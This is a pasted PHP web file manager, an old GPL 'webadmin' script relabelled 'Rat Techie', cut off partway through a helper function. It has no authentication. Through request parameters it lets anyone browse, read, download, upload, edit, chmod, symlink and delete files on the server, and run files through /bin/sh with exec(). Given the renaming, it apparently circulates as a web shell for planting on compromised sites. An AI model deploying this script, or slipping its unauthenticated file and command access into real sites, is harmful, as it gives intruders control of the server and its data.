· 6 years ago · Mar 22, 2019, 08:28 PM
1<?php
2
3/*
4
5 * Rat Techie - a simple Web-based file manager
6
7 * Copyright (C) 2004 Daniel Wacker <daniel.wacker@web.de>
8
9 *
10
11 * This program is free software; you can redistribute it and/or modify
12
13 * it under the terms of the GNU General Public License as published by
14
15 * the Free Software Foundation; either version 2 of the License, or
16
17 * (at your option) any later version.
18
19 *
20
21 * This program is distributed in the hope that it will be useful,
22
23 * but WITHOUT ANY WARRANTY; without even the implied warranty of
24
25 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
26
27 * GNU General Public License for more details.
28
29 *
30
31 * You should have received a copy of the GNU General Public License
32
33 * along with this program; if not, write to the Free Software
34
35 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
36
37 *
38
39 * -------------------------------------------------------------------------
40
41 * While using this script, do NOT navigate with your browser's back and
42
43 * forward buttons! Always open files in a new browser tab!
44
45 * -------------------------------------------------------------------------
46
47 *
48
49 * This is Version 0.9, revision 11
50
51 * =========================================================================
52
53 *
54
55 * Changes of revision 11
56
57 * <daniel.wacker@web.de>
58
59 * fixed handling if folder isn't readable
60
61 *
62
63 * Changes of revision 10
64
65 * <alex-smirnov@web.de>
66
67 * added Russian translation
68
69 * <daniel.wacker@web.de>
70
71 * added </td> to achieve valid XHTML (thanks to Marc Magos)
72
73 * improved delete function
74
75 * <ava@asl.se>
76
77 * new list order: folders first
78
79 *
80
81 * Changes of revision 9
82
83 * <daniel.wacker@web.de>
84
85 * added workaround for directory listing, if lstat() is disabled
86
87 * fixed permisson of uploaded files (thanks to Stephan Duffner)
88
89 *
90
91 * Changes of revision 8
92
93 * <okankan@stud.sdu.edu.tr>
94
95 * added Turkish translation
96
97 * <j@kub.cz>
98
99 * added Czech translation
100
101 * <daniel.wacker@web.de>
102
103 * improved charset handling
104
105 *
106
107 * Changes of revision 7
108
109 * <szuniga@vtr.net>
110
111 * added Spanish translation
112
113 * <lars@soelgaard.net>
114
115 * added Danish translation
116
117 * <daniel.wacker@web.de>
118
119 * improved rename dialog
120
121 *
122
123 * Changes of revision 6
124
125 * <nederkoorn@tiscali.nl>
126
127 * added Dutch translation
128
129 *
130
131 * Changes of revision 5
132
133 * <daniel.wacker@web.de>
134
135 * added language auto select
136
137 * fixed symlinks in directory listing
138
139 * removed word-wrap in edit textarea
140
141 *
142
143 * Changes of revision 4
144
145 * <daloan@guideo.fr>
146
147 * added French translation
148
149 * <anders@wiik.cc>
150
151 * added Swedish translation
152
153 *
154
155 * Changes of revision 3
156
157 * <nzunta@gabriele-erba.it>
158
159 * improved Italian translation
160
161 *
162
163 * Changes of revision 2
164
165 * <daniel.wacker@web.de>
166
167 * got images work in some old browsers
168
169 * fixed creation of directories
170
171 * fixed files deletion
172
173 * improved path handling
174
175 * added missing word 'not_created'
176
177 * <till@tuxen.de>
178
179 * improved human readability of file sizes
180
181 * <nzunta@gabriele-erba.it>
182
183 * added Italian translation
184
185 *
186
187 * Changes of revision 1
188
189 * <Rat.Techie>
190
191 * Rat Techie completely rewritten:
192
193 * - clean XHTML/CSS output
194
195 * - several files selectable
196
197 * - support for windows servers
198
199 * - no more treeview, because
200
201 * - Rat Techie is a >simple< file manager
202
203 * - performance problems (too much additional code)
204
205 * - I don't like: frames, java-script, to reload after every treeview-click
206
207 * - execution of shell scripts
208
209 * - introduced revision numbers
210
211 *
212
213/* ------------------------------------------------------------------------- */
214
215
216
217/* Your language:
218
219 * 'en' - English
220
221 * 'de' - German
222
223 * 'fr' - French
224
225 * 'it' - Italian
226
227 * 'nl' - Dutch
228
229 * 'se' - Swedish
230
231 * 'sp' - Spanish
232
233 * 'dk' - Danish
234
235 * 'tr' - Turkish
236
237 * 'cs' - Czech
238
239 * 'ru' - Russian
240
241 * 'auto' - autoselect
242
243 */
244
245$lang = 'auto';
246
247
248
249/* Charset of output:
250
251 * possible values are described in the charset table at
252
253 * http://www.php.net/manual/en/function.htmlentities.php
254
255 * 'auto' - use the same charset as the words of my language are encoded
256
257 */
258
259$site_charset = 'auto';
260
261
262
263/* Homedir:
264
265 * For example: './' - the script's directory
266
267 */
268
269$homedir = './';
270
271
272
273/* Size of the edit textarea
274
275 */
276
277$editcols = 80;
278
279$editrows = 25;
280
281
282
283/* -------------------------------------------
284
285 * Optional configuration (remove # to enable)
286
287 */
288
289
290
291/* Permission of created directories:
292
293 * For example: 0705 would be 'drwx---r-x'.
294
295 */
296
297# $dirpermission = 0705;
298
299
300
301/* Permission of created files:
302
303 * For example: 0604 would be '-rw----r--'.
304
305 */
306
307# $filepermission = 0604;
308
309
310
311/* Filenames related to the apache web server:
312
313 */
314
315$htaccess = '.htaccess';
316
317$htpasswd = '.htpasswd';
318
319
320
321/* ------------------------------------------------------------------------- */
322
323
324
325if (get_magic_quotes_gpc()) {
326
327 array_walk($_GET, 'strip');
328
329 array_walk($_POST, 'strip');
330
331 array_walk($_REQUEST, 'strip');
332
333}
334
335
336
337if (array_key_exists('image', $_GET)) {
338
339 header('Content-Type: image/gif');
340
341 die(getimage($_GET['image']));
342
343}
344
345
346
347if (!function_exists('lstat')) {
348
349 function lstat ($filename) {
350
351 return stat($filename);
352
353 }
354
355}
356
357
358
359$delim = DIRECTORY_SEPARATOR;
360
361
362
363if (function_exists('php_uname')) {
364
365 $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
366
367} else {
368
369 $win = ($delim == '\\') ? true : false;
370
371}
372
373
374
375if (!empty($_SERVER['PATH_TRANSLATED'])) {
376
377 $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
378
379} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
380
381 $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
382
383} elseif (function_exists('getcwd')) {
384
385 $scriptdir = getcwd();
386
387} else {
388
389 $scriptdir = '.';
390
391}
392
393$homedir = relative2absolute($homedir, $scriptdir);
394
395
396
397$dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
398
399
400
401if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
402
403 $dir = relative2absolute($dir, $_POST['olddir']);
404
405}
406
407
408
409$directory = simplify_path(addslash($dir));
410
411
412
413$files = array();
414
415$action = '';
416
417if (!empty($_POST['submit_all'])) {
418
419 $action = $_POST['action_all'];
420
421 for ($i = 0; $i < $_POST['num']; $i++) {
422
423 if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
424
425 $files[] = $_POST["file$i"];
426
427 }
428
429 }
430
431} elseif (!empty($_REQUEST['action'])) {
432
433 $action = $_REQUEST['action'];
434
435 $files[] = relative2absolute($_REQUEST['file'], $directory);
436
437} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
438
439 $files[] = $_FILES['upload'];
440
441 $action = 'upload';
442
443} elseif (array_key_exists('num', $_POST)) {
444
445 for ($i = 0; $i < $_POST['num']; $i++) {
446
447 if (array_key_exists("submit$i", $_POST)) break;
448
449 }
450
451 if ($i < $_POST['num']) {
452
453 $action = $_POST["action$i"];
454
455 $files[] = $_POST["file$i"];
456
457 }
458
459}
460
461if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
462
463 $files[] = relative2absolute($_POST['create_name'], $directory);
464
465 switch ($_POST['create_type']) {
466
467 case 'directory':
468
469 $action = 'create_directory';
470
471 break;
472
473 case 'file':
474
475 $action = 'create_file';
476
477 }
478
479}
480
481if (sizeof($files) == 0) $action = ''; else $file = reset($files);
482
483
484
485if ($lang == 'auto') {
486
487 if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
488
489 $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
490
491 } else {
492
493 $lang = 'en';
494
495 }
496
497}
498
499
500
501$words = getwords($lang);
502
503
504
505if ($site_charset == 'auto') {
506
507 $site_charset = $word_charset;
508
509}
510
511
512
513$cols = ($win) ? 4 : 7;
514
515
516
517if (!isset($dirpermission)) {
518
519 $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
520
521}
522
523if (!isset($filepermission)) {
524
525 $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
526
527}
528
529
530
531if (!empty($_SERVER['SCRIPT_NAME'])) {
532
533 $self = html(basename($_SERVER['SCRIPT_NAME']));
534
535} elseif (!empty($_SERVER['PHP_SELF'])) {
536
537 $self = html(basename($_SERVER['PHP_SELF']));
538
539} else {
540
541 $self = '';
542
543}
544
545
546
547if (!empty($_SERVER['SERVER_SOFTWARE'])) {
548
549 if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
550
551 $apache = true;
552
553 } else {
554
555 $apache = false;
556
557 }
558
559} else {
560
561 $apache = true;
562
563}
564
565
566
567switch ($action) {
568
569
570
571case 'view':
572
573
574
575 if (is_script($file)) {
576
577
578
579 /* highlight_file is a mess! */
580
581 ob_start();
582
583 highlight_file($file);
584
585 $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
586
587 $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
588
589 ob_end_clean();
590
591
592
593 html_header();
594
595 echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
596
597
598
599<hr />
600
601
602
603<table>
604
605<tr>
606
607<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
608
609<pre style="margin-top: 0"><code>';
610
611
612
613 for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
614
615
616
617 echo '</code></pre>
618
619</td>
620
621<td style="text-align: left; vertical-align: top; padding-left: 3pt">
622
623<pre style="margin-top: 0">' . $src . '</pre>
624
625</td>
626
627</tr>
628
629</table>
630
631
632
633';
634
635
636
637 html_footer();
638
639
640
641 } else {
642
643
644
645 header('Content-Type: ' . getmimetype($file));
646
647 header('Content-Disposition: filename=' . basename($file));
648
649
650
651 readfile($file);
652
653
654
655 }
656
657
658
659 break;
660
661
662
663case 'download':
664
665
666
667 header('Pragma: public');
668
669 header('Expires: 0');
670
671 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
672
673 header('Content-Type: ' . getmimetype($file));
674
675 header('Content-Disposition: attachment; filename=' . basename($file) . ';');
676
677 header('Content-Length: ' . filesize($file));
678
679
680
681 readfile($file);
682
683
684
685 break;
686
687
688
689case 'upload':
690
691
692
693 $dest = relative2absolute($file['name'], $directory);
694
695
696
697 if (@file_exists($dest)) {
698
699 listing_page(error('already_exists', $dest));
700
701 } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
702
703 @chmod($dest, $filepermission);
704
705 listing_page(notice('uploaded', $file['name']));
706
707 } else {
708
709 listing_page(error('not_uploaded', $file['name']));
710
711 }
712
713
714
715 break;
716
717
718
719case 'create_directory':
720
721
722
723 if (@file_exists($file)) {
724
725 listing_page(error('already_exists', $file));
726
727 } else {
728
729 $old = @umask(0777 & ~$dirpermission);
730
731 if (@mkdir($file, $dirpermission)) {
732
733 listing_page(notice('created', $file));
734
735 } else {
736
737 listing_page(error('not_created', $file));
738
739 }
740
741 @umask($old);
742
743 }
744
745
746
747 break;
748
749
750
751case 'create_file':
752
753
754
755 if (@file_exists($file)) {
756
757 listing_page(error('already_exists', $file));
758
759 } else {
760
761 $old = @umask(0777 & ~$filepermission);
762
763 if (@touch($file)) {
764
765 edit($file);
766
767 } else {
768
769 listing_page(error('not_created', $file));
770
771 }
772
773 @umask($old);
774
775 }
776
777
778
779 break;
780
781
782
783case 'execute':
784
785
786
787 chdir(dirname($file));
788
789
790
791 $output = array();
792
793 $retval = 0;
794
795 exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
796
797
798
799 $error = ($retval == 0) ? false : true;
800
801
802
803 if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
804
805
806
807 if ($error) {
808
809 listing_page(error('not_executed', $file, implode("\n", $output)));
810
811 } else {
812
813 listing_page(notice('executed', $file, implode("\n", $output)));
814
815 }
816
817
818
819 break;
820
821
822
823case 'delete':
824
825
826
827 if (!empty($_POST['no'])) {
828
829 listing_page();
830
831 } elseif (!empty($_POST['yes'])) {
832
833
834
835 $failure = array();
836
837 $success = array();
838
839
840
841 foreach ($files as $file) {
842
843 if (del($file)) {
844
845 $success[] = $file;
846
847 } else {
848
849 $failure[] = $file;
850
851 }
852
853 }
854
855
856
857 $message = '';
858
859 if (sizeof($failure) > 0) {
860
861 $message = error('not_deleted', implode("\n", $failure));
862
863 }
864
865 if (sizeof($success) > 0) {
866
867 $message .= notice('deleted', implode("\n", $success));
868
869 }
870
871
872
873 listing_page($message);
874
875
876
877 } else {
878
879
880
881 html_header();
882
883
884
885 echo '<form action="' . $self . '" method="post">
886
887<table class="dialog">
888
889<tr>
890
891<td class="dialog">
892
893';
894
895
896
897 request_dump();
898
899
900
901 echo "\t<b>" . word('really_delete') . '</b>
902
903 <p>
904
905';
906
907
908
909 foreach ($files as $file) {
910
911 echo "\t" . html($file) . "<br />\n";
912
913 }
914
915
916
917 echo ' </p>
918
919 <hr />
920
921 <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
922
923 <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
924
925</td>
926
927</tr>
928
929</table>
930
931</form>
932
933
934
935';
936
937
938
939 html_footer();
940
941
942
943 }
944
945
946
947 break;
948
949
950
951case 'rename':
952
953
954
955 if (!empty($_POST['destination'])) {
956
957
958
959 $dest = relative2absolute($_POST['destination'], $directory);
960
961
962
963 if (!@file_exists($dest) && @rename($file, $dest)) {
964
965 listing_page(notice('renamed', $file, $dest));
966
967 } else {
968
969 listing_page(error('not_renamed', $file, $dest));
970
971 }
972
973
974
975 } else {
976
977
978
979 $name = basename($file);
980
981
982
983 html_header();
984
985
986
987 echo '<form action="' . $self . '" method="post">
988
989
990
991<table class="dialog">
992
993<tr>
994
995<td class="dialog">
996
997 <input type="hidden" name="action" value="rename" />
998
999 <input type="hidden" name="file" value="' . html($file) . '" />
1000
1001 <input type="hidden" name="dir" value="' . html($directory) . '" />
1002
1003 <b>' . word('rename_file') . '</b>
1004
1005 <p>' . html($file) . '</p>
1006
1007 <b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
1008
1009 <input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
1010
1011 <hr />
1012
1013 <input type="submit" value="' . word('rename') . '" />
1014
1015</td>
1016
1017</tr>
1018
1019</table>
1020
1021
1022
1023<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1024
1025
1026
1027</form>
1028
1029
1030
1031';
1032
1033
1034
1035 html_footer();
1036
1037
1038
1039 }
1040
1041
1042
1043 break;
1044
1045
1046
1047case 'move':
1048
1049
1050
1051 if (!empty($_POST['destination'])) {
1052
1053
1054
1055 $dest = relative2absolute($_POST['destination'], $directory);
1056
1057
1058
1059 $failure = array();
1060
1061 $success = array();
1062
1063
1064
1065 foreach ($files as $file) {
1066
1067 $filename = substr($file, strlen($directory));
1068
1069 $d = $dest . $filename;
1070
1071 if (!@file_exists($d) && @rename($file, $d)) {
1072
1073 $success[] = $file;
1074
1075 } else {
1076
1077 $failure[] = $file;
1078
1079 }
1080
1081 }
1082
1083
1084
1085 $message = '';
1086
1087 if (sizeof($failure) > 0) {
1088
1089 $message = error('not_moved', implode("\n", $failure), $dest);
1090
1091 }
1092
1093 if (sizeof($success) > 0) {
1094
1095 $message .= notice('moved', implode("\n", $success), $dest);
1096
1097 }
1098
1099
1100
1101 listing_page($message);
1102
1103
1104
1105 } else {
1106
1107
1108
1109 html_header();
1110
1111
1112
1113 echo '<form action="' . $self . '" method="post">
1114
1115
1116
1117<table class="dialog">
1118
1119<tr>
1120
1121<td class="dialog">
1122
1123';
1124
1125
1126
1127 request_dump();
1128
1129
1130
1131 echo "\t<b>" . word('move_files') . '</b>
1132
1133 <p>
1134
1135';
1136
1137
1138
1139 foreach ($files as $file) {
1140
1141 echo "\t" . html($file) . "<br />\n";
1142
1143 }
1144
1145
1146
1147 echo ' </p>
1148
1149 <hr />
1150
1151 ' . word('destination') . ':
1152
1153 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
1154
1155 <input type="submit" value="' . word('move') . '" />
1156
1157</td>
1158
1159</tr>
1160
1161</table>
1162
1163
1164
1165<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1166
1167
1168
1169</form>
1170
1171
1172
1173';
1174
1175
1176
1177 html_footer();
1178
1179
1180
1181 }
1182
1183
1184
1185 break;
1186
1187
1188
1189case 'copy':
1190
1191
1192
1193 if (!empty($_POST['destination'])) {
1194
1195
1196
1197 $dest = relative2absolute($_POST['destination'], $directory);
1198
1199
1200
1201 if (@is_dir($dest)) {
1202
1203
1204
1205 $failure = array();
1206
1207 $success = array();
1208
1209
1210
1211 foreach ($files as $file) {
1212
1213 $filename = substr($file, strlen($directory));
1214
1215 $d = addslash($dest) . $filename;
1216
1217 if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
1218
1219 $success[] = $file;
1220
1221 } else {
1222
1223 $failure[] = $file;
1224
1225 }
1226
1227 }
1228
1229
1230
1231 $message = '';
1232
1233 if (sizeof($failure) > 0) {
1234
1235 $message = error('not_copied', implode("\n", $failure), $dest);
1236
1237 }
1238
1239 if (sizeof($success) > 0) {
1240
1241 $message .= notice('copied', implode("\n", $success), $dest);
1242
1243 }
1244
1245
1246
1247 listing_page($message);
1248
1249
1250
1251 } else {
1252
1253
1254
1255 if (!@file_exists($dest) && @copy($file, $dest)) {
1256
1257 listing_page(notice('copied', $file, $dest));
1258
1259 } else {
1260
1261 listing_page(error('not_copied', $file, $dest));
1262
1263 }
1264
1265
1266
1267 }
1268
1269
1270
1271 } else {
1272
1273
1274
1275 html_header();
1276
1277
1278
1279 echo '<form action="' . $self . '" method="post">
1280
1281
1282
1283<table class="dialog">
1284
1285<tr>
1286
1287<td class="dialog">
1288
1289';
1290
1291
1292
1293 request_dump();
1294
1295
1296
1297 echo "\n<b>" . word('copy_files') . '</b>
1298
1299 <p>
1300
1301';
1302
1303
1304
1305 foreach ($files as $file) {
1306
1307 echo "\t" . html($file) . "<br />\n";
1308
1309 }
1310
1311
1312
1313 echo ' </p>
1314
1315 <hr />
1316
1317 ' . word('destination') . ':
1318
1319 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
1320
1321 <input type="submit" value="' . word('copy') . '" />
1322
1323</td>
1324
1325</tr>
1326
1327</table>
1328
1329
1330
1331<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1332
1333
1334
1335</form>
1336
1337
1338
1339';
1340
1341
1342
1343 html_footer();
1344
1345
1346
1347 }
1348
1349
1350
1351 break;
1352
1353
1354
1355case 'create_symlink':
1356
1357
1358
1359 if (!empty($_POST['destination'])) {
1360
1361
1362
1363 $dest = relative2absolute($_POST['destination'], $directory);
1364
1365
1366
1367 if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
1368
1369
1370
1371 if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
1372
1373
1374
1375 if (!@file_exists($dest) && @symlink($file, $dest)) {
1376
1377 listing_page(notice('symlinked', $file, $dest));
1378
1379 } else {
1380
1381 listing_page(error('not_symlinked', $file, $dest));
1382
1383 }
1384
1385
1386
1387 } else {
1388
1389
1390
1391 html_header();
1392
1393
1394
1395 echo '<form action="' . $self . '" method="post">
1396
1397
1398
1399<table class="dialog" id="symlink">
1400
1401<tr>
1402
1403 <td style="vertical-align: top">' . word('destination') . ': </td>
1404
1405 <td>
1406
1407 <b>' . html($file) . '</b><br />
1408
1409 <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
1410
1411 <label for="checkbox_relative">' . word('relative') . '</label>
1412
1413 <input type="hidden" name="action" value="create_symlink" />
1414
1415 <input type="hidden" name="file" value="' . html($file) . '" />
1416
1417 <input type="hidden" name="dir" value="' . html($directory) . '" />
1418
1419 </td>
1420
1421</tr>
1422
1423<tr>
1424
1425 <td>' . word('symlink') . ': </td>
1426
1427 <td>
1428
1429 <input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
1430
1431 <input type="submit" value="' . word('create_symlink') . '" />
1432
1433 </td>
1434
1435</tr>
1436
1437</table>
1438
1439
1440
1441<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1442
1443
1444
1445</form>
1446
1447
1448
1449';
1450
1451
1452
1453 html_footer();
1454
1455
1456
1457 }
1458
1459
1460
1461 break;
1462
1463
1464
1465case 'edit':
1466
1467
1468
1469 if (!empty($_POST['save'])) {
1470
1471
1472
1473 $content = str_replace("\r\n", "\n", $_POST['content']);
1474
1475
1476
1477 if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
1478
1479 listing_page(notice('saved', $file));
1480
1481 } else {
1482
1483 listing_page(error('not_saved', $file));
1484
1485 }
1486
1487
1488
1489 } else {
1490
1491
1492
1493 if (@is_readable($file) && @is_writable($file)) {
1494
1495 edit($file);
1496
1497 } else {
1498
1499 listing_page(error('not_edited', $file));
1500
1501 }
1502
1503
1504
1505 }
1506
1507
1508
1509 break;
1510
1511
1512
1513case 'permission':
1514
1515
1516
1517 if (!empty($_POST['set'])) {
1518
1519
1520
1521 $mode = 0;
1522
1523 if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
1524
1525 if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
1526
1527 if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
1528
1529
1530
1531 if (@chmod($file, $mode)) {
1532
1533 listing_page(notice('permission_set', $file, decoct($mode)));
1534
1535 } else {
1536
1537 listing_page(error('permission_not_set', $file, decoct($mode)));
1538
1539 }
1540
1541
1542
1543 } else {
1544
1545
1546
1547 html_header();
1548
1549
1550
1551 $mode = fileperms($file);
1552
1553
1554
1555 echo '<form action="' . $self . '" method="post">
1556
1557
1558
1559<table class="dialog">
1560
1561<tr>
1562
1563<td class="dialog">
1564
1565
1566
1567 <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
1568
1569
1570
1571 <hr />
1572
1573
1574
1575 <table id="permission">
1576
1577 <tr>
1578
1579 <td></td>
1580
1581 <td style="border-right: 1px solid black">' . word('owner') . '</td>
1582
1583 <td style="border-right: 1px solid black">' . word('group') . '</td>
1584
1585 <td>' . word('other') . '</td>
1586
1587 </tr>
1588
1589 <tr>
1590
1591 <td style="text-align: right">' . word('read') . ':</td>
1592
1593 <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
1594
1595 <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
1596
1597 <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
1598
1599 </tr>
1600
1601 <tr>
1602
1603 <td style="text-align: right">' . word('write') . ':</td>
1604
1605 <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
1606
1607 <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
1608
1609 <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
1610
1611 </tr>
1612
1613 <tr>
1614
1615 <td style="text-align: right">' . word('execute') . ':</td>
1616
1617 <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
1618
1619 <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
1620
1621 <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
1622
1623 </tr>
1624
1625 </table>
1626
1627
1628
1629 <hr />
1630
1631
1632
1633 <input type="submit" name="set" value="' . word('set') . '" />
1634
1635
1636
1637 <input type="hidden" name="action" value="permission" />
1638
1639 <input type="hidden" name="file" value="' . html($file) . '" />
1640
1641 <input type="hidden" name="dir" value="' . html($directory) . '" />
1642
1643
1644
1645</td>
1646
1647</tr>
1648
1649</table>
1650
1651
1652
1653<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1654
1655
1656
1657</form>
1658
1659
1660
1661';
1662
1663
1664
1665 html_footer();
1666
1667
1668
1669 }
1670
1671
1672
1673 break;
1674
1675
1676
1677default:
1678
1679
1680
1681 listing_page();
1682
1683
1684
1685}
1686
1687
1688
1689/* ------------------------------------------------------------------------- */
1690
1691
1692
1693function getlist ($directory) {
1694
1695 global $delim, $win;
1696
1697
1698
1699 if ($d = @opendir($directory)) {
1700
1701
1702
1703 while (($filename = @readdir($d)) !== false) {
1704
1705
1706
1707 $path = $directory . $filename;
1708
1709
1710
1711 if ($stat = @lstat($path)) {
1712
1713
1714
1715 $file = array(
1716
1717 'filename' => $filename,
1718
1719 'path' => $path,
1720
1721 'is_file' => @is_file($path),
1722
1723 'is_dir' => @is_dir($path),
1724
1725 'is_link' => @is_link($path),
1726
1727 'is_readable' => @is_readable($path),
1728
1729 'is_writable' => @is_writable($path),
1730
1731 'size' => $stat['size'],
1732
1733 'permission' => $stat['mode'],
1734
1735 'owner' => $stat['uid'],
1736
1737 'group' => $stat['gid'],
1738
1739 'mtime' => @filemtime($path),
1740
1741 'atime' => @fileatime($path),
1742
1743 'ctime' => @filectime($path)
1744
1745 );
1746
1747
1748
1749 if ($file['is_dir']) {
1750
1751 $file['is_executable'] = @file_exists($path . $delim . '.');
1752
1753 } else {
1754
1755 if (!$win) {
1756
1757 $file['is_executable'] = @is_executable($path);
1758
1759 } else {
1760
1761 $file['is_executable'] = true;
1762
1763 }
1764
1765 }
1766
1767
1768
1769 if ($file['is_link']) $file['target'] = @readlink($path);
1770
1771
1772
1773 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
1774
1775 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
1776
1777
1778
1779 $files[] = $file;
1780
1781
1782
1783 }
1784
1785
1786
1787 }
1788
1789
1790
1791 return $files;
1792
1793
1794
1795 } else {
1796
1797 return false;
1798
1799 }
1800
1801
1802
1803}
1804
1805
1806
1807function sortlist ($list, $key, $reverse) {
1808
1809
1810
1811 $dirs = array();
1812
1813 $files = array();
1814
1815
1816
1817 for ($i = 0; $i < sizeof($list); $i++) {
1818
1819 if ($list[$i]['is_dir']) $dirs[] = $list[$i];
1820
1821 else $files[] = $list[$i];
1822
1823 }
1824
1825
1826
1827 quicksort($dirs, 0, sizeof($dirs) - 1, $key);
1828
1829 if ($reverse) $dirs = array_reverse($dirs);
1830
1831
1832
1833 quicksort($files, 0, sizeof($files) - 1, $key);
1834
1835 if ($reverse) $files = array_reverse($files);
1836
1837
1838
1839 return array_merge($dirs, $files);
1840
1841
1842
1843}
1844
1845
1846
1847function quicksort (&$array, $first, $last, $key) {
1848
1849
1850
1851 if ($first < $last) {
1852
1853
1854
1855 $cmp = $array[floor(($first + $last) / 2)][$key];
1856
1857
1858
1859 $l = $first;
1860
1861 $r = $last;
1862
1863
1864
1865 while ($l <= $r) {
1866
1867
1868
1869 while ($array[$l][$key] < $cmp) $l++;
1870
1871 while ($array[$r][$key] > $cmp) $r--;
1872
1873
1874
1875 if ($l <= $r) {
1876
1877
1878
1879 $tmp = $array[$l];
1880
1881 $array[$l] = $array[$r];
1882
1883 $array[$r] = $tmp;
1884
1885
1886
1887 $l++;
1888
1889 $r--;
1890
1891
1892
1893 }
1894
1895
1896
1897 }
1898
1899
1900
1901 quicksort($array, $first, $r, $key);
1902
1903 quicksort($array, $l, $last, $key);
1904
1905
1906
1907 }
1908
1909
1910
1911}
1912
1913
1914
1915function permission_octal2string ($mode) {
1916
1917
1918
1919 if (($mode & 0xC000) === 0xC000) {
1920
1921 $type = 's';
1922
1923 } elseif (($mode & 0xA000) === 0xA000) {
1924
1925 $type = 'l';
1926
1927 } elseif (($mode & 0x8000) === 0x8000) {
1928
1929 $type = '-';
1930
1931 } elseif (($mode & 0x6000) === 0x6000) {
1932
1933 $type = 'b';
1934
1935 } elseif (($mode & 0x4000) === 0x4000) {
1936
1937 $type = 'd';
1938
1939 } elseif (($mode & 0x2000) === 0x2000) {
1940
1941 $type = 'c';
1942
1943 } elseif (($mode & 0x1000) === 0x1000) {
1944
1945 $type = 'p';
1946
1947 } else {
1948
1949 $type = '?';
1950
1951 }
1952
1953
1954
1955 $owner = ($mode & 00400) ? 'r' : '-';
1956
1957 $owner .= ($mode & 00200) ? 'w' : '-';
1958
1959 if ($mode & 0x800) {
1960
1961 $owner .= ($mode & 00100) ? 's' : 'S';
1962
1963 } else {
1964
1965 $owner .= ($mode & 00100) ? 'x' : '-';
1966
1967 }
1968
1969
1970
1971 $group = ($mode & 00040) ? 'r' : '-';
1972
1973 $group .= ($mode & 00020) ? 'w' : '-';
1974
1975 if ($mode & 0x400) {
1976
